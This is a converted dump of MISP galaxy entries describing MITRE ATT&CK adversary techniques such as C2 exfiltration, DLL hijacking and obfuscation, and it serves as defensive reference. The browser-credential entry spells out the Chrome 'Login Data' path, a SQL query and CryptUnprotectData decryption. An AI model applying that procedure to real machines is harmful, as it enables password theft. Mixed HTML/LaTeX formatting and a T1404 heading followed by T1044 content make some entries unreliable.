<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Exfiltration Over C2 Channel - T1041

Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.

The tag is: 

```
misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041"
```

Table 5042. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1041">https://attack.mitre.org/techniques/T1041</a></td>
</tr>
</tbody>
</table>

Exploitation of Remote Services - T1210

Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.

An adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Discovery](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.

There are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services.(Citation: NVD CVE-2014-7169)

Depending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.
The tag is: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210"

Table 5043. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1210">https://attack.mitre.org/techniques/T1210</a></td>
</tr>
<tr>
<td><a href="https://nvd.nist.gov/vuln/detail/CVE-2014-7169">https://nvd.nist.gov/vuln/detail/CVE-2014-7169</a></td>
</tr>
<tr>
<td><a href="https://nvd.nist.gov/vuln/detail/CVE-2016-6662">https://nvd.nist.gov/vuln/detail/CVE-2016-6662</a></td>
</tr>
<tr>
<td><a href="https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/">https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/</a></td>
</tr>
</tbody>
</table>

System Network Configuration Discovery - T1016

Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).

Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. `<code>show ip route</code>`, `<code>show ip interface</code>`).(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion)

Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.

The tag is: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016"

Table 5044. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1016">https://attack.mitre.org/techniques/T1016</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits">https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA18-106A">https://www.us-cert.gov/ncas/alerts/TA18-106A</a></td>
</tr>
</tbody>
</table>

Replication Through Removable Media - T1091

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is
inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media’s firmware itself.

Mobile devices may also be used to infect PCs with malware if connected via USB. This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables. For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).

The tag is: miss-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091"

**Table 5045. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1091">https://attack.mitre.org/techniques/T1091</a></td>
</tr>
<tr>
<td><a href="https://techcrunch.com/2019/08/12/iphone-charging-cable-hack-computer-def-con/">https://techcrunch.com/2019/08/12/iphone-charging-cable-hack-computer-def-con/</a></td>
</tr>
</tbody>
</table>

**Exploitation for Client Execution - T1203**

Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.

Several types exist:

**Browser-based Exploitation**

Web browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.
Office Applications

Common office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.

Common Third-party Applications

Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.

The tag is: `misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203"`

Table 5046. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1203">https://attack.mitre.org/techniques/T1203</a></td>
</tr>
</tbody>
</table>

Change Default File Association - T1042

When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

System file associations are listed under `<code>HKEY_CLASSES_ROOT\[extension]\</code>`, for example `<code>HKEY_CLASSES_ROOT\txt</code>`. The entries point to a handler for that extension located at `<code>HKEY_CLASSES_ROOT\[handler]\</code>`. The various commands are then listed as subkeys underneath the shell key at `<code>HKEY_CLASSES_ROOT\[handler]\shell\[action]\command</code>`. For example:

* `<code>HKEY_CLASSES_ROOT\txtfile\shell\open\command</code>`
* `<code>HKEY_CLASSES_ROOT\txtfile\shell\print\command</code>`
* `<code>HKEY_CLASSES_ROOT\txtfile\shell\printto\command</code>`

The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)

The tag is: `misp-galaxy:mitre-attack-pattern="Change Default File Association - T1042"`

View relationships graph
Change Default File Association - T1042 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Change Default File Association - T1546.001"
  with estimative-language:likelihood-probability="almost-certain"

**Table 5047. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1042">https://attack.mitre.org/techniques/T1042</a></td>
</tr>
<tr>
<td><a href="https://capec.mitre.org/data/definitions/556.html">https://capec.mitre.org/data/definitions/556.html</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows-server/administration/windows-commands/assoc">https://docs.microsoft.com/windows-server/administration/windows-commands/assoc</a></td>
</tr>
<tr>
<td><a href="https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs">https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs</a></td>
</tr>
</tbody>
</table>

**File and Directory Discovery - T1420**

Adversaries may enumerate files and directories or search in specific device locations for desired information within a filesystem. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1420) during automated discovery to shape follow-on behaviors, including deciding if the adversary should fully infect the target and/or attempt specific actions.

On Android, Linux file permissions and SELinux policies typically stringently restrict what can be accessed by apps without taking advantage of a privilege escalation exploit. The contents of the external storage directory are generally visible, which could present concerns if sensitive data is inappropriately stored there. iOS’s security architecture generally restricts the ability to perform any type of [File and Directory Discovery](https://attack.mitre.org/techniques/T1420) without use of escalated privileges.

The tag is: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420"

**Table 5048. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1420">https://attack.mitre.org/techniques/T1420</a></td>
</tr>
</tbody>
</table>

**Data from Removable Media - T1025**

Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.
Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.

The tag is: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025"

### Table 5049. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1025">https://attack.mitre.org/techniques/T1025</a></td>
</tr>
</tbody>
</table>

---

**Exfiltration Over Physical Medium - T1052**

Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.

The tag is: misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052"

### Table 5050. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1052">https://attack.mitre.org/techniques/T1052</a></td>
</tr>
</tbody>
</table>

---

**Data from Configuration Repository - T1602**

Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.

Adversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives. (Citation: US-CERT TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)

The tag is: misp-galaxy:mitre-attack-pattern="Data from Configuration Repository - T1602"

### Table 5051. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1602">https://attack.mitre.org/techniques/T1602</a></td>
</tr>
<tr>
<td><a href="https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3">https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/TA17-156A">https://us-cert.cisa.gov/ncas/alerts/TA17-156A</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA18-106A">https://www.us-cert.gov/ncas/alerts/TA18-106A</a></td>
</tr>
</tbody>
</table>
Obfuscated Files or Information - T1027

Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user’s action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also use compressed or archived scripts, such as JavaScript.

Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)

Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)

The tag is: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"`

Table 5052. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1027">https://attack.mitre.org/techniques/T1027</a></td>
</tr>
<tr>
<td><a href="https://github.com/danielbohannon/Revoke-Obfuscation">https://github.com/danielbohannon/Revoke-Obfuscation</a></td>
</tr>
<tr>
<td><a href="https://github.com/itsreallynick/office-crackros">https://github.com/itsreallynick/office-crackros</a></td>
</tr>
<tr>
<td><a href="https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/">https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/</a></td>
</tr>
</tbody>
</table>
Communication Through Removable Media - T1092

Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.

The tag is: misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092"

Table 5053. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1092">https://attack.mitre.org/techniques/T1092</a></td>
</tr>
</tbody>
</table>

Modify Cached Executable Code - T1403

ART (the Android Runtime) compiles optimized code on the device itself to improve performance. An adversary may be able to use escalated privileges to modify the cached code in order to hide malicious behavior. Since the code is compiled on the device, it may not receive the same level of integrity checks that are provided to code running in the system partition.(Citation: Sabanal-ART)

The tag is: misp-galaxy:mitre-attack-pattern="Modify Cached Executable Code - T1403"

Table 5054. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1403">https://attack.mitre.org/techniques/T1403</a></td>
</tr>
</tbody>
</table>

Credentials from Web Browsers - T1503

Adversaries may acquire credentials from web browsers by reading files specific to the target browser. (Citation: Talos Olympic Destroyer 2018)

Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.

For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, `<code>AppData\Local\Google\Chrome\User Data\Default\Login Data</code>` and executing a SQL query: `<code>SELECT action_url, username_value, password_value FROM`
logins;\textgreater$. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function \texttt{CryptUnprotectData}, which uses the victim's cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)

Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)

Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)

After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).

The tag is: \textit{misp-galaxy:mitre-attack-pattern=\textquoteleft\textquoteleft Credentials from Web Browsers - T1503\textquoteleft\textquoteleft}

\textit{View relationships graph}

\textit{Credentials from Web Browsers - T1503} has relationships with:

\begin{itemize}
\item revoked-by: \textit{misp-galaxy:mitre-attack-pattern=\textquoteleft\textquoteleft Credentials from Web Browsers - T1555.003\textquoteleft\textquoteleft} with estimative-language:likelihood-probability="almost-certain"
\end{itemize}

\textit{Table 5055. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1503">https://attack.mitre.org/techniques/T1503</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2018/02/olympic-destroyer.html">https://blog.talosintelligence.com/2018/02/olympic-destroyer.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/putterpanda/mimikittenz">https://github.com/putterpanda/mimikittenz</a></td>
</tr>
</tbody>
</table>

\textbf{Data from Cloud Storage - T1530}

Adversaries may access data from cloud storage.

Many IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform.
In some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly through the [Cloud API](https://attack.mitre.org/techniques/T1059/009). In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)).

Adversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem. (Citation: Amazon S3 Security, 2019) (Citation: Microsoft Azure Storage Security, 2019) (Citation: Google Cloud Storage Best Practices, 2019) There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.

This open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records. (Citation: Trend Micro S3 Exposed PII, 2017) (Citation: Wired Magecart S3 Buckets, 2019) (Citation: HIPAA Journal S3 Breach, 2017) (Citation: Rclone-mega-extortion_05_2021)

Adversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects.

The tag is: `misp-galaxy:mitre-attack-pattern="Data from Cloud Storage - T1530"`

Table 5056. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1530">https://attack.mitre.org/techniques/T1530</a></td>
</tr>
<tr>
<td><a href="https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/">https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/</a></td>
</tr>
<tr>
<td><a href="https://cloud.google.com/storage/docs/best-practices">https://cloud.google.com/storage/docs/best-practices</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/rclone-mega-extortion/">https://redcanary.com/blog/rclone-mega-extortion/</a></td>
</tr>
<tr>
<td><a href="https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/">https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/</a></td>
</tr>
<tr>
<td><a href="https://www.wired.com/story/magecart-amazon-cloud-hacks/">https://www.wired.com/story/magecart-amazon-cloud-hacks/</a></td>
</tr>
</tbody>
</table>

**Indicator Removal on Host - T1630**

Adversaries may delete, alter, or hide generated artifacts on a device, including files, jailbreak status, or the malicious application itself. These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This may compromise the integrity of mobile security solutions by causing notable events or information to go unreported.
File and Directory Discovery - T1083

Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Many command shell utilities can be used to obtain this information. Examples include `dir`, `tree`, `ls`, `find`, and `locate`.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather file and directory information (e.g. `dir`, `show flash`, and/or `nvram`).(Citation: US-CERT-TA18-106A)

The tag is: *misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"*

---

DLL Search Order Hijacking - T1038

Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence.

Adversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL.
Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)

If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.

Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.

The tag is: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038"

View relationships graph

DLL Search Order Hijacking - T1038 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 5059. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1038">https://attack.mitre.org/techniques/T1038</a></td>
</tr>
<tr>
<td><a href="https://capec.mitre.org/data/definitions/471.html">https://capec.mitre.org/data/definitions/471.html</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/">https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/</a></td>
</tr>
<tr>
<td><a href="https://www.owasp.org/index.php/Binary_planting">https://www.owasp.org/index.php/Binary_planting</a></td>
</tr>
</tbody>
</table>

Deploy exploit using advertising - T1380

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Exploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPMalvertising)

The tag is: misp-galaxy:mitre-attack-pattern="Deploy exploit using advertising - T1380"

Table 5060. Table References
Detect App Analysis Environment - T1440

An adversary could evade app vetting techniques by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis.

Discussion of general Android anti-analysis techniques can be found in (Citation: Petsas). Discussion of Google Play Store-specific anti-analysis techniques can be found in (Citation: Oberheide-Bouncer), (Citation: Percoco-Bouncer).

(Citation: Wang) presents a discussion of iOS anti-analysis techniques.

Platforms: Android, iOS
The tag is: misp-galaxy:mitre-attack-pattern="Detect App Analysis Environment - T1440"

Exploitation for Privilege Escalation - T1404

Adversaries may exploit software vulnerabilities in order to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in an application, service, within the operating system software, or kernel itself to execute adversary-controlled code. Security constructions, such as permission levels, will often hinder access to information and use of certain techniques. Adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.

When initially gaining access to a device, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and applications running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user-level permission to root permissions depending on the component that is vulnerable.
Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

Services

Manipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.

Executable Installers

Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the `<code>%TEMP%</code>` directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)
File System Permissions Weakness - T1044 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Services File Permissions Weakness - T1574.010"
  with estimative-language:likelihood-probability="almost-certain"

### Table 5063. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://seclists.org/fulldisclosure/2015/Dec/34">http://seclists.org/fulldisclosure/2015/Dec/34</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1044">https://attack.mitre.org/techniques/T1044</a></td>
</tr>
<tr>
<td><a href="https://capec.mitre.org/data/definitions/17.html">https://capec.mitre.org/data/definitions/17.html</a></td>
</tr>
</tbody>
</table>

### Obfuscated Files or Information - T1406

Adversaries may attempt to make a payload or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the device or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Portions of files can also be encoded to hide the plaintext strings that would otherwise help defenders with discovery. Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.\(^{(Citation: Microsoft MalLockerB)}\)

The tag is: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406"

### Table 5064. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1406">https://attack.mitre.org/techniques/T1406</a></td>
</tr>
</tbody>
</table>

### Obtain Device Cloud Backups - T1470

An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud backup services (e.g. Google's Android backup service or Apple's iCloud) could use that access to obtain sensitive data stored in device backups. For example, the Elcomsoft Phone Breaker product advertises the ability to retrieve iOS backup data from Apple's iCloud (Citation: Elcomsoft-EPPB). Elcomsoft also describes (Citation: Elcomsoft-WhatsApp) obtaining WhatsApp communication histories from backups stored in iCloud.

The tag is: misp-galaxy:mitre-attack-pattern="Obtain Device Cloud Backups - T1470"
Exfiltration Over Alternative Protocol - T1048

Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.

[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP. (Citation: Palo Alto OilRig Oct 2016) On macOS and Linux `<code>curl</code>` may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system. (Citation: 20 macOS Common Tools and Techniques)

Many IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or [Cloud API](https://attack.mitre.org/techniques/T1059/009).

The tag is: `misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048"`

System Network Connections Discovery - T1049

Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
